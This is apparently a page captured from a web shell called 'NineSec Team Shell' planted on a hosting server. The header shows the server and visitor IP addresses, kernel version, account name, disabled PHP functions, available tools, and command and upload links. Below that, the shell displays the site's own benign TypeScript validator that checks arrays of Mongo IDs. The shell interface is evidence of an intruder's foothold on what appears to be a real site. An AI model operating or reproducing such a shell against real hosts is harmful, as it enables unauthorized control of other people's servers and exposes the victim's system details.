NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/src/core/common/dto/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/src/core/common/dto/class.validator.array.ids.decorator.dto.ts
/**
 * Copyright 2023, the hatemragab project author.
 * All rights reserved. Use of this source code is governed by a
 * MIT license that can be found in the LICENSE file.
 */

import { registerDecorator, ValidationOptions, ValidationArguments } from "class-validator";
import {isValidMongoId} from "../../utils/utils";
import {jsonDecoder} from "../../utils/app.validator";


export function IsMongoIdsObject(validationOptions?: ValidationOptions) {
  return function(object: Object, propertyName: string) {
    registerDecorator({
      name: "IsMongoIdsObject",
      target: object.constructor,
      propertyName: propertyName,
      constraints: [],
      options: validationOptions ?? { message: "The list must be valid mongo id object !" },
      validator: {
        validate(value: any, args: ValidationArguments) {
          if(!value){
            return  false
          }
          let data = [];
          try {
            data = jsonDecoder(JSON.parse(value));
          } catch (err) {
          }

          if (!Array.isArray(data)) {
            return false;
          }
          if (value.length == 0) {
            return false;
          }
          for (let i of data) {
            if (!isValidMongoId(i)) {
              return false;
            }
          }
          return true;
        }
      }
    });
  };
}

NineSec Team - 2022